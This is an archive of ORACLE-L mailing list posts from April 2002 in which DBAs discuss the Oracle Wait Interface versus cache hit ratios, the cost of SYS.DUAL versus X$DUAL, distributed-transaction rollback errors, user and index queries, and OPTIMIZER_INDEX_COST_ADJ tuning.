What is all of this talk about an OWL. Are they on the endangered list like Larry's DBA's? ROR mª¿ªm [EMAIL PROTECTED] 04/24/02 09:43AM Mogens, I bet Oracle would call it OWIi. As Micro$oft is appending XP to everything, Oracle puts an i to everything. Raj __ Rajendra Jamadagni MIS, ESPN Inc. Rajendra dot Jamadagni at ESPN dot com Any opinion expressed here is personal and doesn't reflect that of ESPN Inc. QOTD: Any clod can have facts, but having an opinion is an art! -Original Message- Sent: Tuesday, April 23, 2002 9:58 PM To: Multiple recipients of list ORACLE-L please n It's so very cool to see the phrase catching on in 2002. Thanks, Kirti. I think the OWI thing just might become common. Now let's see what Oracle comes up with wrt naming standards on something which is quite unique... Mogens -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ron Rogers INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Column level grants - THANKS
thanks a lot to all who replied ! DBAndrey * 03-9254520 * 058-548133 * mailto:[EMAIL PROTECTED] -Original Message- Sent: Wed, April 24, 2002 4:24 PM To: Multiple recipients of list ORACLE-L I deleted the original mail, but You can find this topic in Oracle8i SQL Reference Release 3 (8.1.7) Part Number A85397-01 SQL statement GRANT look under section syntax grant_object_privileges_clause image Although there is a note column Specify the table or view column on which privileges are to be granted. You can specify columns only when granting the INSERT, REFERENCES, or UPDATE privilege. If you do not list columns, the grantee has the specified privilege on all columns in the table or view. Gints Plivna IT Sistçmas, Meríeïa 13, LV1050 Rîga http://www.itsystems.lv/gints/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Andrey Bronfin INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Cronjob
[EMAIL PROTECTED] wrote: Anyone whom can tell me how to delete a job that is created by crontab. Thanks in advance Roland man crontab -- -- Bill Shrek Thater ORACLE DBA [EMAIL PROTECTED] You gotta program like you don't need the money, You gotta compile like you'll never get hurt, You gotta run like there's nobody watching, It's gotta come from the heart if you want it to work. Your e-mail has been returned due to insufficient voltage. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: bill thater INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n
it was also mentioned at the Oracle of Oracles closing session, in the top 10 things I learned in San Diego :) --- Cary Millsap [EMAIL PROTECTED] wrote: Might have been Dave too, but I mentioned it in my Misunderstandings About Oracle Internals talk at IOUG on Tuesday... Cary Millsap Hotsos Enterprises, Ltd. [EMAIL PROTECTED] http://www.hotsos.com -Original Message- Sent: Monday, April 22, 2002 10:58 PM To: Multiple recipients of list ORACLE-L n I think it was Dave Ensor... - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Monday, April 22, 2002 6:30 PM Hi Connor, Somebody (I think it was Cary) mentioned your little PL/SQL procedure that will provide any required CHR. So you are famous, even if you were not present :) And yes, without seeming to migrate to the CHR camp, there is some merit in what you are saying. However, I would suggest that tracking 'normal' delta values of 'cache buffer chain' gets, misses, spins and sleeps from V$SYSTEM_EVENT/V$LATCH, as well as deltas of 'table scan rows gotten' vs 'table fetch by rowid' would be a better 'ratio' than the CHR which will only serve to feed a myth. The former would give you some indication of LIO (and the stress it causes on the system) and the latter will indicate raw requirements that were met but were the ones that drove PIO As for me, I detect changes in the following SQL and page out to an on-call DBA when some set limits are exceeded: select event, count(*) from v$session_wait group by event; This does show the 'current' bottleneck and I still remain true to the calling of OWI!! John Kanagaraj Oracle Applications DBA DBSoft Inc (W): 408-970-7002 Grace - Getting something we don't deserve Mercy - NOT getting something we deserve Click on 'http://www.needhim.org' for Grace and Mercy that is freely available! ** The opinions and statements above are entirely my own and not those of my employer or clients ** -Original Message- From: Connor McDonald [mailto:[EMAIL PROTECTED]] Sent: Monday, April 22, 2002 4:44 PM To: Multiple recipients of list ORACLE-L Subject: RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n I still like to recommend the buffer cache hit ratio because its so easy to please customers with an improvement - A plsql routine to generate any desired hit ratio on a running system is freely available for download from my site... a consultants dream! :-) But, serious hat on temporarily, there IS still a use for the buffer hit ratio as a delta measurement. What I mean by this is that you measure it every 'n' mins/hrs/whatever and store it. When it displays a massive dip or a massive increase (ie something out of the ordinary for *your* system), then whilst it doesn't necessarily mean anything is wrong - it DOES mean that something has changed in your system, which is a good prompt to do some investigation.. hth connor --- John Kanagaraj [EMAIL PROTECTED] wrote: Mark, This is from a first-timer at IOUG, so I may be way off here. A lot of marketing blurb was thrown out at IOUG (probably a lot less than usual, and *much* less than Oracle OpenWorld in any case!). As for tools, many vendors were flogging the same ones, improved versions maybe. One which did make us say 'wow' was StorageXpert from Quest. IMHO, this is an excellent tool, engineered by our very own Gaja. I believe details are at the Quest site at www.quest.com. If you have EMC disks and are facing performance problems, I believe there is the best there is. (Or even if you have other storage devices, it would still give you the hotspots). And NO, I do NOT work for Quest, nor have Quest stock! And for others, I believe this was a major turning point and an eye-opener as far as the Wait Interface goes (This has (un)officially been renamed to OWI as per Kirti's slides :-). Most attendees 'saw the light' as far as CHR (Cache Hit Ratio) goes, and there were two distinct camps after the first few days - the 'CHR' and 'OWI'. No prizes for guessing who won the day! The massive number of defections and the absolute absense of CHR-based-discussions at the Performance round tables was clear evidence that OWI is here to stay! (Mr. R might still rewrite that book sooner than later!) About 20 Listers met for dinner on Sunday night (and again in a larger group at the SeaWorld bash). The meeting was characterized by geek-talk such as 'Can you fit us all in one extent?' i.e. 'can we all sit at one table?'), 'Please coalesce' - 'please move in so that more people can fit into the aisle seats'.
RE: ORA-02074: cannot Rollback in a distributed transaction
I don't know if this is related to what we are going through here, apparently Oracle treats transactions via db link as 2-phase commit transactions unless SET TRANSACTION READ ONLY is used. Check dba_2pc_pending to see if you have hung 2-phase commit transactions. If you do, do a search in MetaLink to find out how to remove them. Regards, Patrice Boivin Systems Analyst (Oracle Certified DBA) Systems Admin Operations | Admin. et Exploit. des systèmes Technology Services | Services technologiques Informatics Branch | Direction de l'informatique Maritimes Region, DFO | Région des Maritimes, MPO E-Mail: [EMAIL PROTECTED] .com
RE: Currval and buffer gets
Title: RE: Currval and buffer gets
Waleed, Kevin, Jonathan, Alexander
8.1.7.0 on Windows 2000
run
time using view x$dual in centiseconds=494run time using table
dual in centiseconds=896run time using direct
:= in centiseconds=1007
Ramon
-Original Message-From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED]]On Behalf Of
[EMAIL PROTECTED]Sent: Tuesday, 23 April, 2002
9:23 PMTo: Multiple recipients of list ORACLE-LSubject:
RE: Currval and buffer gets
Waleed/Kevin/Jonathan ...,
8.1.7.2 on HP-UX 64bit. Modified
version:
declare n1 number; n2 number; ss date; begin n1 := sys.dbms_utility.get_time;
for i in 1..10 loop select
sysdate into ss from sys.x_$dual; end loop;
n2 := sys.dbms_utility.get_time; sys.dbms_output.put_line('run time using view x_$dual in
centiseconds='||(n2-n1)); -- n1 := sys.dbms_utility.get_time; for i in
1..10 loop select sysdate into ss from
sys.dual; end loop; n2 :=
sys.dbms_utility.get_time; sys.dbms_output.put_line('run time using table dual in
centiseconds='||(n2-n1)); -- n1 := sys.dbms_utility.get_time; for i in
1..10 loop ss := sysdate; end loop; n2 :=
sys.dbms_utility.get_time; sys.dbms_output.put_line('run time using direct := in
centiseconds='||(n2-n1)); end;
Output: run time using view x_$dual in
centiseconds=1167 run time using table
dual in centiseconds=1661 run time using
direct := in centiseconds=339
Alex.
RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n
Ok...ok...ok...enough talk... can somebody PLEASE publish a reference location of this script? Thanks, Mike -Original Message- Sent: Wednesday, April 24, 2002 8:39 AM To: Multiple recipients of list ORACLE-L please n it was also mentioned at the Oracle of Oracles closing session, in the top 10 things I learned in San Diego :) --- Cary Millsap [EMAIL PROTECTED] wrote: Might have been Dave too, but I mentioned it in my Misunderstandings About Oracle Internals talk at IOUG on Tuesday... Cary Millsap Hotsos Enterprises, Ltd. [EMAIL PROTECTED] http://www.hotsos.com -Original Message- Sent: Monday, April 22, 2002 10:58 PM To: Multiple recipients of list ORACLE-L n I think it was Dave Ensor... - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Monday, April 22, 2002 6:30 PM Hi Connor, Somebody (I think it was Cary) mentioned your little PL/SQL procedure that will provide any required CHR. So you are famous, even if you were not present :) And yes, without seeming to migrate to the CHR camp, there is some merit in what you are saying. However, I would suggest that tracking 'normal' delta values of 'cache buffer chain' gets, misses, spins and sleeps from V$SYSTEM_EVENT/V$LATCH, as well as deltas of 'table scan rows gotten' vs 'table fetch by rowid' would be a better 'ratio' than the CHR which will only serve to feed a myth. The former would give you some indication of LIO (and the stress it causes on the system) and the latter will indicate raw requirements that were met but were the ones that drove PIO As for me, I detect changes in the following SQL and page out to an on-call DBA when some set limits are exceeded: select event, count(*) from v$session_wait group by event; This does show the 'current' bottleneck and I still remain true to the calling of OWI!! John Kanagaraj Oracle Applications DBA DBSoft Inc (W): 408-970-7002 Grace - Getting something we don't deserve Mercy - NOT getting something we deserve Click on 'http://www.needhim.org' for Grace and Mercy that is freely available! ** The opinions and statements above are entirely my own and not those of my employer or clients ** -Original Message- From: Connor McDonald [mailto:[EMAIL PROTECTED]] Sent: Monday, April 22, 2002 4:44 PM To: Multiple recipients of list ORACLE-L Subject: RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n I still like to recommend the buffer cache hit ratio because its so easy to please customers with an improvement - A plsql routine to generate any desired hit ratio on a running system is freely available for download from my site... a consultants dream! :-) But, serious hat on temporarily, there IS still a use for the buffer hit ratio as a delta measurement. What I mean by this is that you measure it every 'n' mins/hrs/whatever and store it. When it displays a massive dip or a massive increase (ie something out of the ordinary for *your* system), then whilst it doesn't necessarily mean anything is wrong - it DOES mean that something has changed in your system, which is a good prompt to do some investigation.. hth connor --- John Kanagaraj [EMAIL PROTECTED] wrote: Mark, This is from a first-timer at IOUG, so I may be way off here. A lot of marketing blurb was thrown out at IOUG (probably a lot less than usual, and *much* less than Oracle OpenWorld in any case!). As for tools, many vendors were flogging the same ones, improved versions maybe. One which did make us say 'wow' was StorageXpert from Quest. IMHO, this is an excellent tool, engineered by our very own Gaja. I believe details are at the Quest site at www.quest.com. If you have EMC disks and are facing performance problems, I believe there is the best there is. (Or even if you have other storage devices, it would still give you the hotspots). And NO, I do NOT work for Quest, nor have Quest stock! And for others, I believe this was a major turning point and an eye-opener as far as the Wait Interface goes (This has (un)officially been renamed to OWI as per Kirti's slides :-). Most attendees 'saw the light' as far as CHR (Cache Hit Ratio) goes, and there were two distinct camps after the first few days - the 'CHR' and 'OWI'. No prizes for guessing who won the day! The massive number of defections and the absolute absense of CHR-based-discussions at the Performance round tables was clear evidence that OWI is here to stay! (Mr. R might still rewrite that book sooner than later!) About 20 Listers met for dinner on Sunday night (and again in a larger group at the SeaWorld bash). The meeting
RE: Currval and buffer gets
Gaja is correct. I had big problems recently with a highly concurrent
application selecting from DUAL too many times, resulting in an extremely
hot DUAL table. I wish I had knew this trick a few weeks ago. As it was, an
bit of application tuning sorted it out.
Jim
-Original Message-
Krishna Vaidyanatha
Sent: 24 April 2002 16:04
To: Multiple recipients of list ORACLE-L
All,
I think the issue of using SYS.DUAL vs. X$DUAL is much
beyond just response time. It is more related to
easing a potential bottleneck in your database, in a
production environment supporting multiple sessions.
Given that it takes 5 LIOs (upto Oracle8i) and 3 LIOs
(in Oracle9i for every access to SYS.DUAL, the issue
then boils down to the contention for the cache
buffers chains latch to access blocks in the database
buffer cache. So just because it is only 5(3) LIOs,
that does not make it OK.
If your application is using SYS.DUAL like there is
no tomorrow, the cache buffers chains latch becomes
your single point of contention. This is true, even if
you have _DB_BLOCK_HASH_BUCKETS set to a value higher
than its default.
As Cary has mentioned many times before, the problem
here is application serialization. For more on this
subject, please read Cary's papers Why a 99%+ buffer
cache hit ratio is NOT Ok on
http://www.hotsos.com/catalog and a recent paper at
IOUG-A Live 2002 which talks about some common
Misunderstandings about Oracle Internals.
Best regards,
Gaja
--- Khedr, Waleed [EMAIL PROTECTED] wrote:
Kevin and Jonathan,
Thanks for the explanation. It's weird for me that
Oracle is still
maintaining this kind of dependency between the SQL
and PL/SQL engines for
minor sql functions. Also regarding the dual and
x$dual, it does not sound
good to me that Oracle still is implementing dual as
a table segment even in
Oracle 9i.
I would give Gaja all the excuses to recommend using
something else other
than sys.dual to overcome this limitation.
But on the other hand the difference in performance
and the over all gain is
too minor to use x$dual (look at the test below).
Modifying the code and changing the design (or even
tuning one sql) would be
more promising.
Thanks everybody,
Waleed
declare
nn number;
ss1 date;
ss2 date;
begin
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from sys.x_$dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using view x_$dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
---
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using table dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
end;
-Original Message-
Sent: Tuesday, April 23, 2002 6:18 PM
To: Multiple recipients of list ORACLE-L
It's a change that also made it into 8.1.7.3
(or possibly 8.1.7.2) - check in
$ORACLE_HOME/rdbms/admin/standard.sql
Jonathan Lewis
http://www.jlcomp.demon.co.uk
Author of:
Practical Oracle 8i: Building Efficient Databases
Next Seminar - Australia - July/August
http://www.jlcomp.demon.co.uk/seminar.html
Host to The Co-Operative Oracle Users' FAQ
http://www.jlcomp.demon.co.uk/faq/ind_faq.html
-Original Message-
To: Multiple recipients of list ORACLE-L
[EMAIL PROTECTED]
Date: 23 April 2002 22:05
|I did in 8i (8.1.7.3) and did not see what you
said:
|
|alter session set sql_trace = true
|
--
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
--
Author: Jonathan Lewis
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX:
(858) 538-5051
San Diego, California-- Public Internet
access / Mailing Lists
To REMOVE yourself from this mailing list, send an
E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of
'ListGuru') and in
the message BODY, include a line containing: UNSUB
ORACLE-L
(or the name of mailing list you want to be removed
from). You may
also send the HELP command for other information
(like subscribing).
--
Please see the official ORACLE-L FAQ:
http://www.orafaq.com
--
Author: Khedr, Waleed
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX:
(858) 538-5051
San Diego, California-- Public Internet
access / Mailing Lists
To REMOVE yourself from this mailing list, send an
E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of
'ListGuru') and in
the message BODY, include a line containing: UNSUB
ORACLE-L
(or the name of mailing list you want to be removed
from). You may
also send the HELP command for other information
(like subscribing).
=
Gaja Krishna Vaidyanatha
Director, Storage Management Products,
Quest Software, Inc.
Co-author - Oracle Performance Tuning 101
Re: ORA-02074: cannot Rollback in a distributed transaction
Let the outer-most calling process handle COMMITs and ROLLBACKs. Astoredprocedure should concentrate only on passing back error conditions appropriately. - Original Message - From: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L Sent: Wednesday, April 24, 2002 8:48 AM Subject: ORA-02074: cannot Rollback in a distributed transaction Hello, I have this error 'ORA-02074: cannot Rollback in a distributed transaction' in a stored procedure of PL/SQL. In a FOR LOOP, when I have an error, I make a Rollback in the EXCEPTION and I get this error. I had looed up in the Server Messages but was not helpful. I would like to add that I call this procedure from an another application.(A software tool which we use as a End-User Interface.) Regards M.Emre HANCIOGLUMasterfoods Services GmbHISI Application SupportTel : +49 2162 500-576Fax: +49 2162 41497E-Mail: [EMAIL PROTECTED]
Re: Currval and buffer gets
I think there is a completely different level at which to view this issue. If your application is using dual like there is no tomorrow then there is almost certainly something wrong with your application design or code which is a much more significant threat to performance - both through bottlenecks and wasted CPU. Sure, it's cute to play with replacing DUAL with a view called DUAL on x$dual - or playing slightly more safely by recreating DUAL as an IOT, but if you are hammering DUAL, it probably won't be the CBC latch on dual's bucket that is the problem. BTW - counter-example for anyone thinking of using a view. If your developers decide that they will get Oracle to do all the arithmetic to avoid problems of IEEE rounding or some such issue. and have millions of lines like: select 2.4 * 5.1 from dual; select 18.7 / 2.1 from dual; select 1 + 1 from dual; You will really kill the system, because every time you hard-parse a statement containing a view, Oracle re-executes a recursive query like: select text from view$ where rowid = ... (Believe it - it has been done). Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html |I think the issue of using SYS.DUAL vs. X$DUAL is much |beyond just response time. It is more related to |easing a potential bottleneck in your database, in a |production environment supporting multiple sessions. |Given that it takes 5 LIOs (upto Oracle8i) and 3 LIOs |(in Oracle9i for every access to SYS.DUAL, the issue |then boils down to the contention for the cache |buffers chains latch to access blocks in the database |buffer cache. So just because it is only 5(3) LIOs, |that does not make it OK. | |If your application is using SYS.DUAL like there is |no tomorrow, the cache buffers chains latch becomes |your single point of contention. This is true, even if |you have _DB_BLOCK_HASH_BUCKETS set to a value higher |than its default. | -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
SQL question
How do I list all user accounts created in a database? And how do I list all user table indexes? Thanks, David -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Nguyen, David M INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: SQL question
-How do I list all user accounts created in a database? SELECT * FROM DBA_USERS -And how do I list all user table indexes? SELECT INDEX_NAME FROM DBA_INDEXES WHERE OWNER = 'MY_LUSER' Dave -Original Message- Sent: Wednesday, April 24, 2002 11:24 AM To: Multiple recipients of list ORACLE-L How do I list all user accounts created in a database? And how do I list all user table indexes? Thanks, David -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Nguyen, David M INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: SQL question
David,
Look at DBA_USERS, DBA_TABLES, DBA_INDEXES and all other DBA_* views. All
the info you are asking about is provided in these views.
User: Select username from dba_users;
Indexes: select table_name,index_name from dba_indexes where owner not in
('SYS','SYSTEM')
Hope this helps.
Tom Mercadante
Oracle Certified Professional
-Original Message-
Sent: Wednesday, April 24, 2002 12:24 PM
To: Multiple recipients of list ORACLE-L
How do I list all user accounts created in a database? And how do I list
all user table indexes?
Thanks,
David
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Nguyen, David M
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Mercadante, Thomas F
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n
So, do you remember the other top 10 items?? Robert -Original Message- Sent: Wednesday, April 24, 2002 11:39 AM To: Multiple recipients of list ORACLE-L please n it was also mentioned at the Oracle of Oracles closing session, in the top 10 things I learned in San Diego :) --- Cary Millsap [EMAIL PROTECTED] wrote: Might have been Dave too, but I mentioned it in my Misunderstandings About Oracle Internals talk at IOUG on Tuesday... Cary Millsap Hotsos Enterprises, Ltd. [EMAIL PROTECTED] http://www.hotsos.com -Original Message- Sent: Monday, April 22, 2002 10:58 PM To: Multiple recipients of list ORACLE-L n I think it was Dave Ensor... - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Monday, April 22, 2002 6:30 PM Hi Connor, Somebody (I think it was Cary) mentioned your little PL/SQL procedure that will provide any required CHR. So you are famous, even if you were not present :) And yes, without seeming to migrate to the CHR camp, there is some merit in what you are saying. However, I would suggest that tracking 'normal' delta values of 'cache buffer chain' gets, misses, spins and sleeps from V$SYSTEM_EVENT/V$LATCH, as well as deltas of 'table scan rows gotten' vs 'table fetch by rowid' would be a better 'ratio' than the CHR which will only serve to feed a myth. The former would give you some indication of LIO (and the stress it causes on the system) and the latter will indicate raw requirements that were met but were the ones that drove PIO As for me, I detect changes in the following SQL and page out to an on-call DBA when some set limits are exceeded: select event, count(*) from v$session_wait group by event; This does show the 'current' bottleneck and I still remain true to the calling of OWI!! John Kanagaraj Oracle Applications DBA DBSoft Inc (W): 408-970-7002 Grace - Getting something we don't deserve Mercy - NOT getting something we deserve Click on 'http://www.needhim.org' for Grace and Mercy that is freely available! ** The opinions and statements above are entirely my own and not those of my employer or clients ** -Original Message- From: Connor McDonald [mailto:[EMAIL PROTECTED]] Sent: Monday, April 22, 2002 4:44 PM To: Multiple recipients of list ORACLE-L Subject: RE: Anything new from IOUG? + OWI Born!! (Anjo/Mogens, please n I still like to recommend the buffer cache hit ratio because its so easy to please customers with an improvement - A plsql routine to generate any desired hit ratio on a running system is freely available for download from my site... a consultants dream! :-) But, serious hat on temporarily, there IS still a use for the buffer hit ratio as a delta measurement. What I mean by this is that you measure it every 'n' mins/hrs/whatever and store it. When it displays a massive dip or a massive increase (ie something out of the ordinary for *your* system), then whilst it doesn't necessarily mean anything is wrong - it DOES mean that something has changed in your system, which is a good prompt to do some investigation.. hth connor --- John Kanagaraj [EMAIL PROTECTED] wrote: Mark, This is from a first-timer at IOUG, so I may be way off here. A lot of marketing blurb was thrown out at IOUG (probably a lot less than usual, and *much* less than Oracle OpenWorld in any case!). As for tools, many vendors were flogging the same ones, improved versions maybe. One which did make us say 'wow' was StorageXpert from Quest. IMHO, this is an excellent tool, engineered by our very own Gaja. I believe details are at the Quest site at www.quest.com. If you have EMC disks and are facing performance problems, I believe there is the best there is. (Or even if you have other storage devices, it would still give you the hotspots). And NO, I do NOT work for Quest, nor have Quest stock! And for others, I believe this was a major turning point and an eye-opener as far as the Wait Interface goes (This has (un)officially been renamed to OWI as per Kirti's slides :-). Most attendees 'saw the light' as far as CHR (Cache Hit Ratio) goes, and there were two distinct camps after the first few days - the 'CHR' and 'OWI'. No prizes for guessing who won the day! The massive number of defections and the absolute absense of CHR-based-discussions at the Performance round tables was clear evidence that OWI is here to stay! (Mr. R might still rewrite that book sooner than later!) About 20 Listers met for dinner on Sunday night (and again in a larger group at the SeaWorld bash). The meeting was characterized by geek-talk such as 'Can you
Re: SQL question
David,
Basic sqlplus as the dba.
Select username from dba_users;
select owner,index_name from dba_indexes there owner not in
('SYS',SYSTEM');
Brush up on your reading skills.
ROR mô¿ôm
[EMAIL PROTECTED] 04/24/02 12:23PM
How do I list all user accounts created in a database? And how do I
list
all user table indexes?
Thanks,
David
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Nguyen, David M
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Ron Rogers
INET: [EMAIL PROTECTED]
Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists
To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from). You may
also send the HELP command for other information (like subscribing).
Re: good value for optimizer_index_cost_adj
Based on documentation, OPTIMIZER_INDEX_COST_ADJ seems to provide additional comparison information for the CBO in terms of the relative cost of different types of I/O. To make a long story short, I believe that guidance can come from examining timing statistics from the wait-events db file scattered read (associated with FULL table scans) and db file sequential read (associated with indexed scans) and looking at their respective average wait times: select event, average_wait from v$system_event where event like 'db file s%' Not to use that dirty word ratio lightly in this forum :-), you should calculate the ratio of:: (avg-wait-for-db-file-sequential-read / avg-wait-for-db-file-scattered-read) * 100 which can be considered as a possible setting for OPTIMIZER_INDEX_COST_ADJ. Of course, all of the common-sense caveats apply: don't adhere to this formula slavishly because there might be any number of anomalies in the AVERAGE_WAIT information from V$SYSTEM_EVENT due to low uptime, etc. Take several samples over time, if possible (i.e. the axiom of measure twice, cut once works as well in database administration as in carpentry). Test, test, test before implementing in production... At IOUG-A, I heard discussion that the OPTIMIZER_INDEX_CACHING and OPTIMIZER_INDEX_COST_ADJ were two separate approaches developed by different development teams within Oracle that had the exact same purpose. So, the argument was advanced that setting *either* one *or* the other was sufficient, but not *both*. Not having any access to the internal goings-on in Oracle ST Development, I'm sticking with the idea that these two parameters are addressing *different* and very specific issues, so they both should be considered and used independently of one another... I have a paper on this topic at http://www.EvDBT.com/SearchIntelligenceCBO.doc that discusses these issues in more depth... - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Wednesday, April 24, 2002 8:58 AM Hi, Oracle 817/Solaris 8. Users are doing select joining using the PKs of 2 partitionned tables. Partitionned key and the primary key are the same. The access plan is a nested loop with a full table scan on the first table which hold 700 000 rows. The block size is 16K, I assume that's why Oracle is doing FTS. By using optimizer_index_cost_adj, I can make Oracle use the PK of the first table. I've used 50 as a value for optimizer_index_cost_adj. Is that too much ? Where can I get some metrics on that parameter ? TIA = Stéphane Paquette DBA Oracle, consultant entrepôt de données Oracle DBA, datawarehouse consultant [EMAIL PROTECTED] ___ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! Yahoo! Mail : http://fr.mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?paquette=20stephane?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Tim Gorman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail 